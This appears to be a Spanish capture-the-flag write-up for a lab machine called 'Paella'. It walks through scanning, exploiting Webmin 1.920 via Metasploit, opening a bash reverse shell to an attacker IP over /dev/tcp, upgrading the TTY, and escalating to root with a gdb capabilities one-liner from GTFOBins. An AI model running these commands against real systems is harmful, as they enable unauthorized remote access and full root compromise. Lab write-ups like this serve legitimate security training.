Paella

🎯 Resolución

🔍 Reconocimiento

Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo

nmap -sC -sV -Pn 192.168.1.94

🕵️‍♂️Análisis de vulnerabilidades

Al analizar el servicio Webmin, identificamos que parece ser una versión antigua. Para verificar si es vulnerable, utilizamos el comando:

searchsploit webmin 1.920


Este comando busca vulnerabilidades conocidas y posibles exploits asociados con la versión 1.920 de Webmin.

📚 Al investigar, descubrimos que existe una vulnerabilidad crítica en esta versión, lo que abre la puerta a un posible acceso remoto.


🎯 Explotación

Para explorarla, accedemos a la consola de Metasploit con el comando:

msfconsole


Una vez dentro de la consola, utilizamos el siguiente comando para buscar exploits relacionados:

search webmin 1.920

Este comando busca en la base de datos de Metasploit módulos que puedan aprovechar la vulnerabilidad identificada. Una vez localizado el exploit adecuado, procederemos a configurarlo y ejecutarlo para intentar explotar el servicio
Una vez localizado el exploit en Metasploit, procedemos a configurarlo. Establecemos nuestro LHOST con la dirección IP del atacante y RHOSTS con la dirección IP de la víctima:

set LHOST <IP_del_atacante>
set RHOSTS <IP_de_la_victima>

Pasted image 20241229181647.png
Después de explotar la vulnerabilidad y obtener acceso inicial a la máquina víctima, configuramos un reverse shell para tener un terminal más funcional y accesible.
Abrimos un puerto en nuestra máquina atacante para escuchar la conexión entrante con el siguiente comando

sudo nc -lvnp 443

Esto inicia netcat en modo escucha en el puerto 443.
Ejecutamos el siguiente comando en la máquina víctima para enviar una shell de Bash al atacante:

/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.96/443 0>&1'

Este comando crea un canal bidireccional entre la máquina víctima y la máquina atacante, permitiendo al atacante controlar remotamente la máquina comprometida desde el terminal.

Para mejorar la experiencia y obtener una terminal más funcional, ejecutamos los siguientes comandos

script /dev/null -c bash
# Suspender la shell actual:
ctrl+z
# Restauramos la conexión:
stty raw -echo; fg
# Reiniciamos la terminal y configuramos la compatibilidad con xterm:
reset xterm
export TERM=xterm
export SHELL=bash

Si intentamos usar editores como nano, vi o cat, la terminal puede mostrar limitaciones en el tamaño de la pantalla. Para solucionar esto, ajustamos el tamaño de la terminal con los siguientes comandos:

# Abrimos una nueva terminal en el host o máquina atacante y ejecutamos:
stty size
# Ajustamos las filas y columnas de la terminal para que se vean correctamente:
stty rows 52 columns 115


📈 Escalada de privilegios

Ejecutamos el comando sudo -l para verificar qué permisos tiene el usuario actual y qué comandos puede ejecutar como administrador sin necesidad de proporcionar una contraseña. Sin embargo, al intentar ejecutarlo, se nos solicita una contraseña, lo que nos impide ver esta información en este momento

sudo -l

Pasted image 20241229181728.png
Se intentó revisar los procesos que se ejecutan como root, pero no se obtuvo información relevante. Como alternativa, buscamos archivos con permisos especiales mediante su SUID, pero tampoco se encontraron resultados útiles.

Sin embargo, ejecutamos el siguiente comando:

getcap -r / 2> /dev/null

Este comando busca binarios que tengan capacidades especiales asignadas en el sistema.
Pasted image 20241229182515.png
Entre los resultados, identificamos que el binario gdb tiene capacidades habilitadas, lo que podría permitirnos escalar privilegios.
Al consultar la página GTFOBins, encontramos que usando el siguiente comando podemos obtener privilegios de administrador:

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

Pasted image 20241229183145.png
Sin embargo, este comando podría fallar debido a la falta de un entorno interactivo adecuado. Para solucionarlo, ajustamos el comando para importar el módulo pty (pseudo-terminal) y obtener una shell interactiva con privilegios de root

gdb -nx -ex 'python import os; os.setuid(0); import pty; pty.spawn("/bin/bash")' -ex quit

Este comando permite al atacante obtener una shell interactiva como root, lo que brinda acceso completo al sistema. Utilizamos gdb para ejecutar código Python que cambia el usuario a root y luego invoca una shell interactiva con el módulo pty, que facilita la interacción con el sistema.

¡Ya somos root!

Pasted image 20241229183152.png